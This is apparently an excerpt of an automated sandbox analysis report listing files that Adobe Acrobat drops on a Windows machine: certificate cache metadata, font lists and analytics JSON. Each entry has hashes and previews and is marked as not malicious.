Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl1x5pkPtfllXlE/HT8kx7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKXeT8UNMa8RdWBwRd
MD5:	FC1CB56B8E4A0C6A844ED32D4C34A5B7
SHA1:	586A0931D1B17FD019FAD07EFF92ADECF07FE356
SHA-256:	F9AABE31AEF93513964F3BAB4376ECDDB1E218B74CC97D3755844FECBEE882AD
SHA-512:	93F8DC44713E59AB3B2C7CA23551229722F822EB62614315ECB68076D6A755E96CF661570B85A02ABE6BD4BD6B3C7B094B62A9C09294B64CF07767877824A1C4
Malicious:	false
Preview:	p...... ..........\..c..(....................................................... ..........W.....w..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKO/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:2/iDnLNkPlE99SNxAhUe/3
MD5:	F16DAE2CB66D733210BA7FDE3A635CC9
SHA1:	7FB83EFFF0059C90C336284E1368231B17A2D2B8
SHA-256:	01395B7CE2D091C016484174B6CF24C8942ADB814E8BE6D863F1AF6B9A281F1D
SHA-512:	1DA80983697720C8AA0CBB75894E0161373DFFC5981988BCAF7FCB0443797A4DF5A74AA220B6D6A182F6412477A9E1FB2062F7B5F296BCF047F40440CDB9E540
Malicious:	false
Preview:	p...... ........4....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4268

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4268

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337384458293854
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJM3g98kUwPeUkwRe9:YvXKXcSEdYpW7FwGMbLUkee9
MD5:	F457E973C42D5E21A7D6EA7776348375
SHA1:	E3646033A7DE86E2727627FF6BC0F4A557BA1096
SHA-256:	6E86E82495C5FF0D123EFA1FBB0C3CC525A041B8406E57E29B7B89D6A7B94A58
SHA-512:	B079EA929B3E29FAACAA26114CEE6A0FE7B03B1F70DEFAAB718A7C871A5399BADF07D140686A0E65400C35B9390E1867A29FCB961EF2A33239B29DB36BE39776
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275011681236254
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfBoTfXpnrPeUkwRe9:YvXKXcSEdYpW7FwGWTfXcUkee9
MD5:	5A2647EDE49ADF7F4109A1950654464F
SHA1:	92930003A609BD4C8ED1F6D9713E8FDB522A1201
SHA-256:	ABB705447B34D41F0404D9DD387309D4FA27D4A5F269D67FC3C27662A2D44589
SHA-512:	7D6572A02B931FB4C2C2D7D2879F44656F5FE95E5AE56335592FC369467EBBB668E49B701B2B9E3C9C4D55B2429DE14A68DB3D0BDFE1EC3C3EB2E31E25A19241
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.25355999776226
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfBD2G6UpnrPeUkwRe9:YvXKXcSEdYpW7FwGR22cUkee9
MD5:	696F58E40A84238AB854E2C6E243BD7E
SHA1:	8DAEA050C27DEDDA40950EECEC3FC0D5F5D57BDD
SHA-256:	45C9A4FC1871F5D2E69CBBF86931A30E64FF13AFF785B82D1CC072CB7C82D959
SHA-512:	149F21DA69BB92E03796565ED40F357CB9748096725A94BA1773FCF19FA6F5ADFD77E632E4E85BEB44E2D96C3F1006786018E611D73E8DFB704AFAE44912F38A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.315365794613638
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfPmwrPeUkwRe9:YvXKXcSEdYpW7FwGH56Ukee9
MD5:	EF10D72C5179CAE1ECCDC7242B174CDD
SHA1:	DD9A9DA3C293F9592A1E24A4F684922E02055519
SHA-256:	81FAE590EFAC9298754BD1956E1858FBE0214382ACF34D1A5BB2911EE051DF67
SHA-512:	2FC4E0DE79CDDEE6A1FAE9B4E98CF85F53ED97F42FBF334ADF7A269B4884F3444010D1278F3F1ABD55DB2E06C39F8C4B43CE46AD7C3C1B9218E1605793C0CF2D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687832487237865
Encrypted:	false
SSDEEP:	24:Yv6XcSdi7pLgE9cQx8LennAvzBvkn0RCmK8czOCCS/:Yv6U7hgy6SAFv5Ah8cv//
MD5:	4C7E07C4327B9A87ACF846F57CFBC00E
SHA1:	0C8B7840E9AC315818E2C3530C09F8034874CB93
SHA-256:	9DF3FE66E83A138D2E244ED42D5409A570A95DA9DDB73CF96374668ADD6035EC
SHA-512:	1B636E59D6D97E51DEF661C76D0AD3273D3F5A85A04984ADF29FD558122D2C4EC26C0A70BD10980D40FA85360CD367DB782FD99EBA892EFB3542FE4E246A0C4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.259724945528766
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJf8dPeUkwRe9:YvXKXcSEdYpW7FwGU8Ukee9
MD5:	DA45A6964A111E7B158C0B261E3C9F50
SHA1:	72364BFD2EABE896F9528DB21ADB01A0D54DCF35
SHA-256:	883ECBE2FADBB9448AC85746C62AE40AC0482485BDD3C65AB4AD4731FCB50338
SHA-512:	09669096F2AB70BE7C2D54C6C73656E6B70B107774B143891E771AFB7AB037F4C9AA04EA21FE0725B5469D4778C289B489603DBF9C2E25FF8EC63AEC1BC4604F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.261112129752897
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfQ1rPeUkwRe9:YvXKXcSEdYpW7FwGY16Ukee9
MD5:	BFA8E083C32BBFD6C0D21B90484C3BD0
SHA1:	A00DFCE0C49620462B766368DEC49F1F192669A4
SHA-256:	F1FEA4AFFEE29CAC2B84411FE89DBD9ECDE5E0EFBB29CD600651E463D97E7B19
SHA-512:	F5D937D5EC33DCB2F6B2CAF10C32CB0FC6066D3F32FDBFD23B1F3A9CC8485657BBFAEFFC8E6B04967BC63631DCA61B9EEB49039BF26502E25323F0E063500F2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280242004716638
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfFldPeUkwRe9:YvXKXcSEdYpW7FwGz8Ukee9
MD5:	41F873C02DC4612734E1864164DA1C64
SHA1:	2294B046388E8DCC8890FEB4396F8E09BDC2FF64
SHA-256:	6558C43F747279A744ADA83D6C04084739CA573BEF4AF43F2FE5BDFB3AC76353
SHA-512:	761AEFDB9634347B7D73BEE292B5A3A63DA938920D042BD95460BA39531432A97D529D31AFA88BFB62090169E44F474CABDF60A715222552F0D6A1AAFC33C20C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.287710533575653
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfzdPeUkwRe9:YvXKXcSEdYpW7FwGb8Ukee9
MD5:	112F41C04D08C645287816B37BC4D34B
SHA1:	63E8580A468EBBC480ECF16A51B47229B4BEF02F
SHA-256:	283214A0455D340A6FEC9281AC558A8E7B974BB0B1441B7564A66A95869921BA
SHA-512:	EB0C2D789AB382C10F9F4E7EB6E0EA5E682B980E9DD5FE99944172BC44AA4047D3179212ADD2200B08866A47A1BDB64513ACF750D63CBC5BD6528B0E3F8A9AD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267697118826649
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfYdPeUkwRe9:YvXKXcSEdYpW7FwGg8Ukee9
MD5:	4E42CC2CDEADCF08D8074A6066E7521C
SHA1:	EDE7541E7B48DFBA8C8414ACD1012DDC67935595
SHA-256:	6C2167D2A880D58BC0D7D295A88A95D1298DD8037C762D87FAEF2E3B1B0FB2F0
SHA-512:	AC09BC660C8EC1B4A067E433F18C34B447098079D69F9A48C3C55FAFE0F0A1045270926444F2140162A559ECC6BF7230A2D267B988648E1DD4AE3CE29514BA04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.25347776988045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJf+dPeUkwRe9:YvXKXcSEdYpW7FwG28Ukee9
MD5:	920BB9473FD6E9312A087AB89709D015
SHA1:	F6CB3A903260E3ED9E56E22A4E90D0977A0CCC7F
SHA-256:	E30BF52DD0D496A52896A9B8C0DC8CE67BE1C2D7CBE43A80F7A7B3570AE5465A
SHA-512:	8999BC57D80D0CFF1362AAC24CD77B2E61F758BFF1737CCF74F7EBC8F2D0185D879E512B1C64DEF7468B39E701173CE1F9D2D5D2E8930C0E784A7BAC44FEB6FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.25146622942954
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfbPtdPeUkwRe9:YvXKXcSEdYpW7FwGDV8Ukee9
MD5:	E2186470C837505EF82B7D48F36954B0
